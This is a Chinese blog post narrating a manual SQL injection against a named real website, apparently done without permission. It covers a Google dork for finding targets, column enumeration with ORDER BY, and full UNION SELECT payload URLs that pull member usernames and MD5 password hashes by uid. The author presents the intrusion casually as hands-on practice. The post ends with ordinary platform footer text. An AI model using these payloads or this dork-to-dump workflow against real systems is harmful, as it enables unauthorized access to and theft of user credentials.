mysql eva结构_记一次php手工注入(mysql)

本文介绍了一个具体的SQL注入攻击过程,包括利用Google搜索发现潜在漏洞、确定数据库列数、获取管理员账号信息等步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

光说不练假把式,关于脚本***看的心痒,就实践了一把。

首先google:inurl:"php?id="

发现这个网站可get注入:

有反应,网页上出现错误提示:

26d2ac1759a6afdcc7f8d71fbafb50f9.png

然后输入

报错:

647904da83f9f0b3eaac9742f2d5eb24.png

根据提示,改为:

http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20

页面正常:

a0768e1caf13686a21a713cccff30358.png

再将5改为30,错误。

改为20,正常。

······

最后得到的临界值为24。

9b6115354684c08d6d6936a9558587ba.png

4d1f48251019d6ca6562f32b4e7799ff.png

然后通过火狐的插件得到下面网址:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables

后面的tables我试了很多单词,如admin什么的,都不行。

本来到这里就该结束了。

后来感觉太可惜了,抱着试一试的心态从网页的源代码取了点关键词百度了一下,发现了跟这个网站很多相关的信息:(http://zhangjianbin.iteye.com/blog/1631387)

其中有:

brand_admincp_group 管理组

brand_admincp_member 管理员

brand_admincp_perm 管理员权限

brand_adminsession 管理员与店铺管理员登录次数与信息判断

brand_members 会员信息

最后连源代码都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm

然后进入:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members

c1b231fbd67655a0b8dc5efe59db647e.png

ok!10可以插入字段。

分别插入username以及password就得到了用户名以及md5加密的密码:

a3a2b65655017a531de06be3714188dd.png

557a2026300872b25de38fa75a20c5b6.png

那么怎么匹配username和passeord呢,用穿山甲扫描的时候发现还有一个uid字段:

6cc95034e0c27af44ae54cee60a1c7bc.png

所以只要在网址中分别添上"where uid=xxxxx"就行了。

比如说:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

f362cac1c88a7b340cbc57e121f9816c.png

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

fbd92d90f5fc678f470b88676d333d70.png

再后来,md5解密的时候发现。。。

乌云上已经有这个网站的漏洞了:

还真是有够年久了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值